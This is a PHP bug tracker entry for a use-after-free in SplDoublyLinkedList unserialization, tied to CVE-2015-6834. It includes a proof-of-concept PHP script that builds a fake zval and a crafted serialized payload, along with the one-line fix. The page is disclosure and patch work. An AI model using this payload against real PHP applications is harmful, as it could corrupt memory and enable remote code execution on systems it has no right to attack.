|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
PatchesPull RequestsHistoryAllCommentsChangesGit/SVN commits
[2015-09-01 18:55 UTC] stas@php.net
[2015-09-01 18:55 UTC] stas@php.net
-Status: Open
+Status: Closed
[2015-09-01 19:04 UTC] stas@php.net
[2015-09-01 19:07 UTC] stas@php.net
[2015-09-02 08:29 UTC] stas@php.net
[2015-09-03 18:10 UTC] ab@php.net
[2015-09-09 10:08 UTC] kaplan@php.net
-Assigned To:
+Assigned To: stas
-CVE-ID:
+CVE-ID: 2015-6834
[2015-09-09 10:08 UTC] kaplan@php.net
|
|||||||||||||||||||||||||||
Copyright © 2001-2025 The PHP GroupAll rights reserved. |
Last updated: Sat Oct 25 06:00:01 2025 UTC |
Description: ------------ ``` while(*p == ':') { ++p; ALLOC_INIT_ZVAL(elem); if (!php_var_unserialize(&elem, &p, s + buf_len, &var_hash TSRMLS_CC)) { zval_ptr_dtor(&elem); goto error; } spl_ptr_llist_push(intern->llist, elem TSRMLS_CC); } ``` it has been demonstrated many times before that __wakeup() leads to ZVAL is freed from memory. and during deserialization will still allow to use R: or r: to set references to that already freed memory. it is possible to use-after-free attack and execute arbitrary code remotely. PoC: ``` class obj { var $ryat; function __wakeup() { $this->ryat = 1; } } $fakezval = ptr2str(1122334455); $fakezval .= ptr2str(0); $fakezval .= "\x00\x00\x00\x00"; $fakezval .= "\x01"; $fakezval .= "\x00"; $fakezval .= "\x00\x00"; $inner = 'i:1234;:i:1;'; $exploit = 'a:5:{i:0;i:1;i:1;C:19:"SplDoublyLinkedList":'.strlen($inner).':{'.$inner.'}i:2;O:3:"obj":1:{s:4:"ryat";R:3;}i:3;a:1:{i:0;R:5;}i:4;s:'.strlen($fakezval).':"'.$fakezval.'";}'; $data = unserialize($exploit); var_dump($data); function ptr2str($ptr) { $out = ''; for ($i = 0; $i < 8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } ``` fix: ``` while(*p == ':') { ++p; ALLOC_INIT_ZVAL(elem); if (!php_var_unserialize(&elem, &p, s + buf_len, &var_hash TSRMLS_CC)) { zval_ptr_dtor(&elem); goto error; } + var_push_dtor(&var_hash, &elem); spl_ptr_llist_push(intern->llist, elem TSRMLS_CC); } ```